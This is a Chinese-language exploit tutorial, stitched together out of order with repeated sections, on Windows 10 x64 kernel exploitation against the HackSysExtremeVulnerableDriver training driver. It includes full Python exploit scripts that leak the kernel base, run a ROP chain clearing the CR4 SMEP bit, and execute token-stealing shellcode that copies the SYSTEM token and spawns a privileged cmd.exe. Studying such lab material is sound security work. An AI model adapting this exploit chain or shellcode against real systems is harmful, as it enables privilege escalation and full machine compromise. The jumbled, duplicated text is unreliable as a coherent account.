input_buffer += struct.pack('<Q', 0x506f8)                            # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)
 
os.system("cmd.exe /k cd C:\\")

从上面可以看到,此shellcode将0x40添加到RSP。这是特定于我正在利用的进程,以恢复执行。在本例中,RAX已经被设置为0。因此,不需要对rax, rax进行异或。

如你所见,SMEP已被绕过了!

41.png

通过PTE覆盖进行SMEP绕过

未来如果有时间,我们将对Windows中的内存管理器单元和内存分页进行更多研究。研究结束后,我将介绍覆盖页表条目的底层详细信息,以将用户模式页转换为内核模式页。此外,我将在内核模式下对池内存进行更多的研究,并研究池溢出和释放后使用内核利用程序的功能和行为。

Windows 10 x64上令牌窃取有效载荷问题,并绕过SMEP(上)

SMEP

23.png

什么是SMEP? SMEP或Supervisor模式执行保护是最早在Windows 8(在Windows上下文中)中实现的保护。当我们谈论为内核漏洞利用执行代码时,最常见的技术是在用户模式下分配shellcode并从内核调用它。这意味着将在内核上下文中调用用户模式代码,从而为我们提供获得系统特权的适用权限。

SMEP是一种预防措施,不允许我们从环0开始执行存储在环3页面中的代码,通常从更高的环执行代码。这意味着我们无法从内核模式执行用户模式代码。为了绕过SMEP,让我们了解其实现方式。

SMEP策略通过CR4寄存器执行,根据英特尔的说法,CR4寄存器是控制寄存器。该寄存器中的每一位负责在系统上启用的各种功能。 CR4寄存器的第20位负责启用SMEP,如果CR4寄存器的第20位被设置为1,那么就启用了SMEP。当位被设置为0时,SMEP被禁用。让我们来看看Windows上的CR4寄存器,其中SMEP以正常的十六进制格式和二进制格式启用,因此我们可以真正看到第20位的位置。

r cr4

24.png

CR4寄存器的十六进制值为0x00000000001506f8,让我们以二进制形式查看它,以便我们可以看到第20位在哪里。

.formats cr4

25.png

如你所见,第20位在上图中(从右数起) 。让我们再次使用.formats命令来查看CR4寄存器中的值是什么,以便绕过SMEP。

26.png

从上面的图中可以看出,当CR4寄存器的第20位被翻转时,十六进制的值是0x00000000000506f8。

在介绍如何使用上述信息通过ROP绕过SMEP之前,让我们进一步讨论一下SMEP实现和其他潜在绕过的问题。

SMEP还可以通过内存页的页表条目(PTE)以“标志”的形式实现,回想一下,页表包含有关物理内存映射到虚拟内存的信息。内存页的PTE具有与之关联的各种标志,其中两个标志是U,表示用户模式,或者S,表示管理模式(内核模式)。当所述内存被内存管理单元(MMU)访问时,将检查此标志。在继续之前,让我们先讨论一下CPU模式。环3负责用户模式的应用程序代码,环0负责操作系统级代码(内核模式)。CPU可以根据执行的内容转换当前的特权级别(CPL)。不过,我不会深入讨论在CPU更改CPL时发生的syscalls、sysrets或其他各种例程的底层细节。另外这也不是一篇关于分页如何工作的内容,如果你有兴趣了解更多信息,我强烈建议你阅读Enrico Martignetti的《What Makes It Page: the Windows 7 (x64) Virtual Memory Manager》一书。虽然这是有关Windows 7环境的,但我相信这些概念在今天仍然适用。我给出这个背景信息,因为SMEP绕过可能会滥用这个功能。

为什么提起这个?尽管我们将介绍如何通过ROP进行SMEP绕过,但还有另一种情况需要考虑。假设我们有一个任意的读写原语。撇开PTE暂时随机的事实。如果你有一个读取原语来了解Shellcode内存页的PTE在哪里,该怎么办?绕过SMEP的另一种潜在的方法是不禁用SMEP。我们可能会使用读取原语来定位用户模式的shellcode页面,然后使用写入原语来覆盖我们的shellcode的PTE,并将U(用户模式)标志翻转为S(主管模式)标志!这样,尽管该特定地址是“用户模式地址”,但在执行该特定地址时,由于该页面的权限现在是内核模式页面的权限,因此它仍被执行。

虽然页面表条目现在是随机的,但是来自进攻性安全组织的Morten Schenk在这篇文章中谈到了对页表项进行非随机化处理。

简单来说,其步骤如下:

1. 获得读/写原始;

2. 泄漏ntoskrnl.exe(内核基);

3. 定位MiGetPteAddress()(可以动态完成,而不是静态偏移);

4. 使用PTE base获取任何内存页的PTE;

5. 更改位(是否正在将shellcode复制到页面并翻转NX位或翻转用户模式页面的U/S位)。

同样,在我对Windows中的内存分页做了更多的研究之前,我不会讨论这种绕过SMEP的方法。有关我对今后其他SMEP绕过技术的想法,请参阅此文的结尾。

绕过SMEP

让我们使用一个溢出来介绍如何用ROP绕过SMEP,ROP假设我们可以控制堆栈(当每个ROP小工具返回到堆栈时)。由于启用了SMEP,我们的ROP小工具将需要来自内核模式页面。因为我们在这里假设了中等完整性,所以我们可以调用EnumDeviceDrivers()来获得内核基,它可以绕过KASLR。

基本上,以下就是ROP链是工作的整个过程。

27.png

让我们去寻找这些ROP小工具吧,注意,ROP小工具的所有偏移量将根据操作系统、补丁级别等而变化。请记住,这些ROP小工具需要是内核模式地址。我们将使用rp++枚举ntoskrnl.exe中的rop小工具。如果你看一下我关于ROP的文章,你就会知道如何使用这个工具。

让我们找出一种方法来控制CR4寄存器的内容,虽然我们可能无法直接操作寄存器的内容,但是我们可以将可以控制的寄存器的内容移动到CR4寄存器中。回想一下pop < reg >操作将获取堆栈上下一项的内容,并将其存储在pop行动。让我们记住这一点。

使用rp ++,我们在ntoskrnl.exe中找到了一个不错的ROP小工具,它使我们可以将CR4的内容存储在ecx寄存器(RCX寄存器的“第二” 32位)中。

28.png

如你所见,此ROP小工具位于0x140108552。但是,由于这是内核模式地址,因此rp ++(来自usermode且未以管理员身份运行)不会提供此地址的完整地址。但是,如果删除前3个字节,则“地址”的其余部分实际上是相对于内核库的偏移量,这意味着该ROP小工具位于ntoskrnl.exe + 0x108552。

29.png

太棒了! rp ++的枚举有点错误,rp ++表示我们可以将ECX放入CR4寄存器。但是,经过进一步检查,我们可以看到该ROP小工具实际上指向了mov cr4, rcx指令。这对于我们的用例来说是完美的!我们有一种方法可以将RCX寄存器的内容移动到CR4寄存器中。你可能会问:“好吧,我们可以通过RCX寄存器控制CR4寄存器,但是这对我们有什么帮助呢?”回想一下我之前的文章中ROP的一个特性。只要我们有一个不错的ROP小工具,可以执行所需的操作,但是该小工具中出现不必要的弹出声,我们就使用NOP的填充数据,这是因为我们只是简单地将数据放置在寄存器中而没有执行它。

同样的原则在这里适用,如果我们可以将预期的标志值弹出到RCX中,则应该没有问题。如前所述,我们预期的CR4寄存器值应为0x506f8。

假设rp ++是对的,因为我们只能控制ECX寄存器而不是RCX的内容,这会影响我们吗?但是,请回想一下寄存器如何在这里工作。

30.png

这意味着,即使RCX包含0x00000000000506f8,一个mov cr4, ecx将采取较低的32位的RCX(即ecx),并把它放入cr4寄存器。这将意味着ECX等于0x000506f8-,并且该值最终会出现在CR4中。因此,即使理论上我们会同时使用RCX和ECX,由于缺少pop ecx ROP小工具,我们也不会受到影响!

现在,让我们继续控制RCX寄存器,让我们找到一个流行的rcx小工具!

31.png

好了!我们在ntoskrnl.exe + 0x3544处有一个ROP小工具。让我们用用户模式shellcode所在的一些断点来更新我们的POC,以验证我们是否可以使用我们的shellcode。这个POC处理语义,例如查找要覆盖的ret指令的偏移量等等。

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\xCC" * 50
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = "\x41" * 2056
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                    # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)

现在,让我们来看看WinDbg。

正如你所看到的,我们已经找到了要覆盖的目标。

33.png

在逐步执行之前,让我们先查看调用堆栈,以查看执行将如何进行。

k

34.png

如果你在查看上面的图像时遇到了问题,请在一个新选项卡中打开它。

为了更好地理解调用堆栈的输出,列调用站点将是执行的内存地址。RetAddr列是调用站点地址完成后返回到的位置。

可以看到,被破坏的ret位于HEVD!TriggerStackOverflow+0xc8。这时,我们将返回到0xfffff80302c82544,或AuthzBasepRemoveSecurityAttributeValueFromLists+0x70。RetAddr列中的下一个值是CR4寄存器的预期值,即0x00000000000506f8。

回想一下,ret指令会将RSP加载到RIP中。因此,由于我们预期的CR4值位于堆栈上,所以从技术上讲,我们的第一个ROP小工具将“返回”到0x00000000000506f8。然而,pop rcx将从堆栈中取出该值并将其放入rcx中。这意味着我们不必担心返回到那个值,它不是有效的内存地址。

在pop rcx ROP小工具的ret之后,我们将跳到下一个ROP小工具,mov cr4, rcx,它将把rcx加载到cr4。这个ROP小工具位于0xfffff80302d87552,或者KiFlushCurrentTbWorker+0x12。最后,我们将用户模式代码放在0x0000000000b70000。

在完成易受攻击的ret指令之后,我们看到我们找到的第一个ROP小工具。

35.png

此时,预期的CR4值会插入到RCX中。

36.png

此时,我们应该会看到下一个ROP小工具,它将把RCX(禁用SMEP所需的值)移动到CR4中。

374.png

此时,我们就可以禁用SMEP了!

38.png

正如你所看到的,在我们的ROP小工具被执行之后,我们触发了断点(shellcode的占位符,以验证SMEP已禁用)!

39.png

这意味着我们已经成功地禁用了SMEP,并且我们可以执行usermode shellcode! 让我们通过有效的POC最终确定此漏洞利用。现在,我们将合并有效载荷概念和漏洞利用!让我们用武器化的Shellcode更新脚本!

import struct
import sys
import os
from ctypes import *
 
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
 
 
payload = bytearray(
    "\x65\x48\x8B\x04\x25\x88\x01\x00\x00"              # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
    "\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
    "\x48\x89\xC3"                                      # mov rbx,rax         ; Copy current process to rbx
    "\x48\x8B\x9B\xE8\x02\x00\x00"                      # mov rbx,[rbx+0x2e8] ; ActiveProcessLinks
    "\x48\x81\xEB\xE8\x02\x00\x00"                      # sub rbx,0x2e8       ; Go back to current process
    "\x48\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[rbx+0x2e0] ; UniqueProcessId (PID)
    "\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
    "\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
    "\x48\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
    "\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
    "\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
    "\x48\x83\xC4\x40"                                  # add rsp, 0x40       ; RESTORE (Specific to HEVD)
    "\xC3"                                              # ret                 ; Done!
)
 
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
# We also need to bypass SMEP before calling this shellcode
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
    c_int(0),                         # lpAddress
    c_int(len(payload)),              # dwSize
    c_int(0x3000),                    # flAllocationType
    c_int(0x40)                       # flProtect
)
 
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
 
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
    c_int(ptr),                       # Destination (pointer)
    c_type_buffer,                    # Source (pointer)
    c_int(len(payload))               # Length
)
 
# Need kernel leak to bypass KASLR
# Using Windows API to enumerate base addresses
# We need kernel mode ROP gadgets
 
# c_ulonglong because of x64 size (unsigned __int64)
base = (c_ulonglong * 1024)()
 
print "[+] Calling EnumDeviceDrivers()..."
 
get_drivers = psapi.EnumDeviceDrivers(
    byref(base),                      # lpImageBase (array that receives list of addresses)
    sizeof(base),                     # cb (size of lpImageBase array, in bytes)
    byref(c_long())                   # lpcbNeeded (bytes returned in the array)
)
 
# Error handling if function fails
if not base:
    print "[+] EnumDeviceDrivers() function call failed!"
    sys.exit(-1)
 
# The first entry in the array with device drivers is ntoskrnl base address
kernel_address = base[0]
 
print "[+] Found kernel leak!"
print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address))
 
# Offset to ret overwrite
input_buffer = ("\x41" * 2056)
 
# SMEP says goodbye
print "[+] Starting ROP chain. Goodbye SMEP..."
input_buffer += struct.pack('<Q', kernel_address + 0x3544)      # pop rcx; ret
 
print "[+] Flipped SMEP bit to 0 in RCX..."
input_buffer += struct.pack('<Q', 0x506f8)                            # Intended CR4 value
 
print "[+] Placed disabled SMEP value in CR4..."
input_buffer += struct.pack('<Q', kernel_address + 0x108552)    # mov cr4, rcx ; ret
 
print "[+] SMEP disabled!"
input_buffer += struct.pack('<Q', ptr)                          # Location of user mode shellcode
 
input_buffer_length = len(input_buffer)
 
# 0x222003 = IOCTL code that will jump to TriggerStackOverflow() function
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
    "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
    0xC0000000,                         # dwDesiredAccess
    0,                                  # dwShareMode
    None,                               # lpSecurityAttributes
    0x3,                                # dwCreationDisposition
    0,                                  # dwFlagsAndAttributes
    None                                # hTemplateFile
)
 
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
print "[+] Interacting with the driver..."
kernel32.DeviceIoControl(
    handle,                             # hDevice
    0x222003,                           # dwIoControlCode
    input_buffer,                       # lpInBuffer
    input_buffer_length,                # nInBufferSize
    None,                               # lpOutBuffer
    0,                                  # nOutBufferSize
    byref(c_ulong()),                   # lpBytesReturned
    None                                # lpOverlapped
)
 
os.system("cmd.exe /k cd C:\\")

从上面可以看到,此shellcode将0x40添加到RSP。这是特定于我正在利用的进程,以恢复执行。在本例中,RAX已经被设置为0。因此,不需要对rax, rax进行异或。

如你所见,SMEP已被绕过了!

41.png

通过PTE覆盖进行SMEP绕过

未来如果有时间,我们将对Windows中的内存管理器单元和内存分页进行更多研究。研究结束后,我将介绍覆盖页表条目的底层详细信息,以将用户模式页转换为内核模式页。此外,我将在内核模式下对池内存进行更多的研究,并研究池溢出和释放后使用内核利用程序的功能和行为。

以前,我曾在Windows 7 x86上谈论过几个漏洞类,这是一个具有最低保护级别的操作系统。在这篇文章中,我想深入地研究一下我之前在x86上讨论过的令牌窃取有效载荷的问题,并看看x64架构可能有什么不同。此外,我想更好地解释这些有效载荷是如何工作的。写这篇文章的另一个目的是让我自己更加熟悉x64架构,并了解诸如Supervisor Mode Execution Prevention(SMEP)之类的保护措施。

令牌窃取

除了Windows之外,还有所谓的系统进程。系统进程的PID为4,包含了大多数内核模式的系统线程。存储在系统进程中的线程,仅在内核模式下运行。在某种程度上,进程是线程的 “容器”,线程是执行代码执行的进程中的实际项。在Windows中,每个进程对象(称为_EPROCESS)都有一个访问令牌。回想一下,对象是动态创建(在运行时配置)的结构,此访问令牌确定进程或线程的安全上下文。由于系统进程容纳内核模式代码的执行,所以它需要在允许它访问内核的安全上下文中运行。这将需要系统或管理特权,这就是为什么我们的目标将是识别系统进程的访问令牌值,并将其复制到我们控制的进程中,或者复制到我们用来利用系统的进程中。只有这样,我们才可以从从现在的特权进程中生成cmd.exe,这将使我们可以执行NT AUTHORITY \ SYSTEM特权代码。

识别系统进程访问令牌

我们将使用Windows 10 x64来概述整个过程。首先,在调试器计算机上启动WinDbg,并与被调试器计算机启动内核调试会话,详细情况请点此。此外,我注意到在Windows 10上,必须完成bcdedit.exe命令后,才能在调试器计算机上执行以下命令:cdedit.exe /dbgsettings serial debugport:1 baudrate:115200。

设置完成后,执行以下命令以转储活动进程:

!process 0 0

1.png

这将返回每个进程的几个字段,我们最感兴趣的是“进程地址”,该地址已在上图中的地址0xffffe60284651040中进行了概述。这是指定进程(在本例中为SYSTEM进程)的_EPROCESS结构的地址,枚举进程地址后,我们可以使用_EPROCESS结构枚举有关进程的更多详细信息。

dt nt!_EPROCESS

2.png

dt将显示关于各种变量、数据类型等的信息,从上图可以看到,系统进程的_EPROCESS结构的各种数据类型都显示出来了。如果继续在WinDbg中的kd窗口中浏览,则会看到Token字段,其偏移量为_EPROCESS + 0x358。

3.png

这意味着对于Windows上的每个进程,访问令牌都位于与进程地址偏移0x358的位置。我们一定会在以后使用此信息。不过,在继续之前,让我们看一下令牌的存储方式。

从上图可以看到,有一个名为_EX_FAST_REF的文件,或者是一个Executive Fast Reference union。union和结构之间的区别在于,union将数据类型存储在相同的内存位置。注意,与_EX_FAST_REF union的基值相比,各个字段的偏移量没有区别,如下图所示。它们的偏移量都是0x000。以下就是存储过程访问令牌的内容,让我们仔细看看。

dt nt ! _EX_FAST_REF

4.png

RefCnt元素是一个附加到访问令牌的值,用于跟踪访问令牌的引用。在x86上,这是3位。在x64,它是4位的。不过,我们只提取标记的实际值,而不提取其他不必要的元数据。

要提取令牌的值,只需查看系统进程的_EX_FAST_REF union,偏移量为0x358(这是令牌所在的位置)。这样,我们就可以弄清楚如何清除RefCnt。

dt nt!_EX_FAST_REF +0x358

5.png

可以看到,RefCnt等于0y0111。0y表示二进制值,因此,这意味着此实例中的RefCnt等于十进制的7。

因此,让我们使用逻辑AND尝试清除最后几位。

? TOKEN & 0xf

6.png

如你所见,结果为7。这不是我们想要的值,实际它的倒数才是我们想要的值。逻辑告诉我们,我们应该取0xf的倒数-0xf。

7.png

因此,我们最终提取了原始访问令牌的值。现在,让我们看看将这个令牌复制到一个普通的cmd.exe会话时会发生什么。

在调试机上打开一个新的cmd.exe进程:

8.png

在调试器上生成cmd.exe进程之后,让我们在调试器中标识进程地址。

!process 0 0 cmd.exe

9.png

正如你可以看到的,我们的cmd.exe进程的进程地址位于0xffffffe6028694d580。根据前面的研究,我们还知道进程的令牌位于与进程地址相对的偏移量0x358处。让我们使用WinDbg用系统进程的访问令牌覆盖cmd.exe访问令牌。

10.png

现在,让我们回顾一下以前的cmd.exe过程。

11.png

正如你所看到的,cmd.exe已经成为一个特权进程!现在剩下的惟一问题是,如何使用一段shellcode动态地实现这一点。

12.png

不管怎样,让我们开发一个可以在x64中动态执行上述任务的汇编程序。

因此,让我们从这个逻辑开始,而不是生成一个cmd.exe进程,然后将系统进程访问令牌复制到它。那为什么不在利用发生时将访问令牌复制到当前进程呢?利用期间的当前进程应该是触发漏洞的进程(从其中运行利用代码的进程)。我们可以在漏洞利用完成之后从当前过程中(并在上下文中)生成cmd.exe,该cmd.exe进程将具有管理特权。

在开始之前,让我们看看如何获取当前进程的信息。

如果你使用Microsoft Docs(以前称为MSDN)来研究进程数据结构,那么请参考这篇文章。本文说明有一个Windows API函数可以识别当前进程并返回指向它的指针!PsGetCurrentProcessId()就是这个函数。这个Windows API函数标识当前线程,然后返回一个指向找到该线程所在进程的指针。这与IoGetCurrentProcess()相同。但是,Microsoft建议用户调用PsGetCurrentProgress()。让我们在WinDbg中反汇编这个函数。

uf nt!PsGetCurrentProcess

13.png

让我们看看第一个指令mov rax, qword ptr gs:[188h],正如你所看到的,这里使用的是GS段寄存器。这个寄存器指向一个数据段,用来访问不同类型的数据结构。如果仔细观察这个段,在偏移量0x188字节处,你将看到KiInitialThread。这是指向当前线程_ETHREAD结构中的_KTHREAD条目的指针。要知道_KTHREAD是_ETHREAD结构中的第一个条目,_ETHREAD结构是线程的线程对象(类似于_EPROCESS是进程的进程对象),它将显示关于线程的更详细的信息。nt !KiInitialThread是_ETHREAD结构的地址,让我们仔细看看。

dqs gs:[188h]

14.png

这显示了偏移量为0x188的GS段寄存器拥有一个地址0xffffd500e0c0cc00(在你的机器上由于ASLR/KASLR而不同)。这里应该是nt!或当前线程的_ETHREAD结构。让我们用WinDbg来验证一下。

!thread –p

15.png

如你所见,我们已经验证了nt!KiInitialThread代表当前线程的地址。

回想一下前面提到的关于线程和进程的内容,线程是实际执行代码的进程的一部分(在本文中这些是内核线程)。现在我们已经确定了当前线程,让我们来确定与该线程(即当前进程)相关联的进程。让我们回到上图,我们在其中反汇编了PsGetCurrentProcess()函数。

mov rax, qword ptr [rax,0B8h]

RAX已包含偏移量为0x188(包含当前线程)的GS段寄存器的值,上面的汇编指令会将nt!KiInitialThread + 0xB8的值移入RAX。逻辑告诉我们这必须是当前进程的位置,因为PsGetCurrentProcess()例程中剩下的唯一指令是ret,让我们对此做进一步调查。

因为我们相信这将是我们当前的进程,所以让我们在_EPROCESS结构中查看这些数据。

dt nt!_EPROCESS poi(nt!KiInitialThread+0xb8)

16.png

poi本质上取消对指针的引用,这意味着获得指针指向的值。

正如你所看到的,我们已经找到了当前流程所在的位置!此时当前进程的PID是SYSTEM进程(PID = 4),这可能会根据执行的内容等进行更改。但是,我们能够确定当前的进程是非常重要的。

让我们开始建立一个汇编程序,以跟踪我们的工作。

17.png

注意,我也将存储在RAX中的当前进程也复制到了RBX中。你很快就会看到为什么需要这样做。

现在,让我们再看一下_EPROCESS结构的其他一些元素。

dt nt ! _EPROCESS

18.png

让我们来看看ActiveProcessLinks的数据结构_LIST_ENTRY:

dt nt ! _LIST_ENTRY

19.png

ActiveProcessLinks跟踪当前进程的列表,它如何跟踪你可能想知道的这些过程?它的数据结构是_LIST_ENTRY,一个双向链接列表。这意味着链表中的每个元素不仅指向下一个元素,而且指向上一个元素。本质上,这些元素指向每个方向。如前所述,这个链表负责跟踪所有的活动进程。

我们需要跟踪_EPROCESS的两个元素,第一个元素位于Windows 10 x64上偏移量0x2e0处,它是UniqueProcessId。这是进程的PID。另一个元素是ActiveProcessLinks,它位于偏移量0x2e8处。

因此,从本质上讲,我们可以在x64汇编中执行的操作是通过上述PsGetCurrentProcess()方法找到当前进程。这样,我们就可以迭代并循环遍历_EPROCESS结构的ActiveLinkProcess元素,该元素通过双向链接列表跟踪每个进程。在读取了当前的ActiveProcessLinks元素之后,我们可以将当前的UniqueProcessId(PID)与常量4(即SYSTEM进程的PID)进行比较。让我们继续我们已经开始的汇编程序。

20.png

找到系统进程的_EPROCESS结构后,我们现在就可以继续检索令牌并将其复制到当前进程中。

21.png

找到系统进程后,请记住Token元素位于该进程_EPROCESS结构的偏移量0x358处。接下来,让我们完成Windows 10 x64的其余令牌窃取载荷。

22.png

注意我们使用了逻辑AND,正在通过CL寄存器清除RCX寄存器的后4位。如果你已阅读有关套接字重用漏洞利用的文章,你将知道我在谈论使用x86或x64寄存器(RCX,ECX,CX,CH,CL等)的低字节寄存器。在x64架构中,我们需要清除的最后4位位于低或L 8位寄存器(CL,AL,BL等)中。

你还可以看到,我们通过使用逻辑XOR清除RAX来结束我们的shellcode。NTSTATUS使用RAX作为错误代码的注册者。NTSTATUS返回值0时,表示操作成功执行。

在继续展示载荷之前,让我们开发一个绕过SMEP的漏洞。我们将以内核中的堆栈溢出为例,介绍如何使用ROP绕过SMEP。

以前,我曾在Windows 7 x86上谈论过几个漏洞类,这是一个具有最低保护级别的操作系统。在这篇文章中,我想深入地研究一下我之前在x86上讨论过的令牌窃取有效载荷的问题,并看看x64架构可能有什么不同。此外,我想更好地解释这些有效载荷是如何工作的。写这篇文章的另一个目的是让我自己更加熟悉x64架构,并了解诸如Supervisor Mode Execution Prevention(SMEP)之类的保护措施。

令牌窃取

除了Windows之外,还有所谓的系统进程。系统进程的PID为4,包含了大多数内核模式的系统线程。存储在系统进程中的线程,仅在内核模式下运行。在某种程度上,进程是线程的 “容器”,线程是执行代码执行的进程中的实际项。在Windows中,每个进程对象(称为_EPROCESS)都有一个访问令牌。回想一下,对象是动态创建(在运行时配置)的结构,此访问令牌确定进程或线程的安全上下文。由于系统进程容纳内核模式代码的执行,所以它需要在允许它访问内核的安全上下文中运行。这将需要系统或管理特权,这就是为什么我们的目标将是识别系统进程的访问令牌值,并将其复制到我们控制的进程中,或者复制到我们用来利用系统的进程中。只有这样,我们才可以从从现在的特权进程中生成cmd.exe,这将使我们可以执行NT AUTHORITY \ SYSTEM特权代码。

识别系统进程访问令牌

我们将使用Windows 10 x64来概述整个过程。首先,在调试器计算机上启动WinDbg,并与被调试器计算机启动内核调试会话,详细情况请点此。此外,我注意到在Windows 10上,必须完成bcdedit.exe命令后,才能在调试器计算机上执行以下命令:cdedit.exe /dbgsettings serial debugport:1 baudrate:115200。

设置完成后,执行以下命令以转储活动进程:

!process 0 0

1.png

这将返回每个进程的几个字段,我们最感兴趣的是“进程地址”,该地址已在上图中的地址0xffffe60284651040中进行了概述。这是指定进程(在本例中为SYSTEM进程)的_EPROCESS结构的地址,枚举进程地址后,我们可以使用_EPROCESS结构枚举有关进程的更多详细信息。

dt nt!_EPROCESS

2.png

dt将显示关于各种变量、数据类型等的信息,从上图可以看到,系统进程的_EPROCESS结构的各种数据类型都显示出来了。如果继续在WinDbg中的kd窗口中浏览,则会看到Token字段,其偏移量为_EPROCESS + 0x358。

3.png

这意味着对于Windows上的每个进程,访问令牌都位于与进程地址偏移0x358的位置。我们一定会在以后使用此信息。不过,在继续之前,让我们看一下令牌的存储方式。

从上图可以看到,有一个名为_EX_FAST_REF的文件,或者是一个Executive Fast Reference union。union和结构之间的区别在于,union将数据类型存储在相同的内存位置。注意,与_EX_FAST_REF union的基值相比,各个字段的偏移量没有区别,如下图所示。它们的偏移量都是0x000。以下就是存储过程访问令牌的内容,让我们仔细看看。

dt nt ! _EX_FAST_REF

4.png

RefCnt元素是一个附加到访问令牌的值,用于跟踪访问令牌的引用。在x86上,这是3位。在x64,它是4位的。不过,我们只提取标记的实际值,而不提取其他不必要的元数据。

要提取令牌的值,只需查看系统进程的_EX_FAST_REF union,偏移量为0x358(这是令牌所在的位置)。这样,我们就可以弄清楚如何清除RefCnt。

dt nt!_EX_FAST_REF +0x358

5.png

可以看到,RefCnt等于0y0111。0y表示二进制值,因此,这意味着此实例中的RefCnt等于十进制的7。

因此,让我们使用逻辑AND尝试清除最后几位。

? TOKEN & 0xf

6.png

如你所见,结果为7。这不是我们想要的值,实际它的倒数才是我们想要的值。逻辑告诉我们,我们应该取0xf的倒数-0xf。

7.png

因此,我们最终提取了原始访问令牌的值。现在,让我们看看将这个令牌复制到一个普通的cmd.exe会话时会发生什么。

在调试机上打开一个新的cmd.exe进程:

8.png

在调试器上生成cmd.exe进程之后,让我们在调试器中标识进程地址。

!process 0 0 cmd.exe

9.png

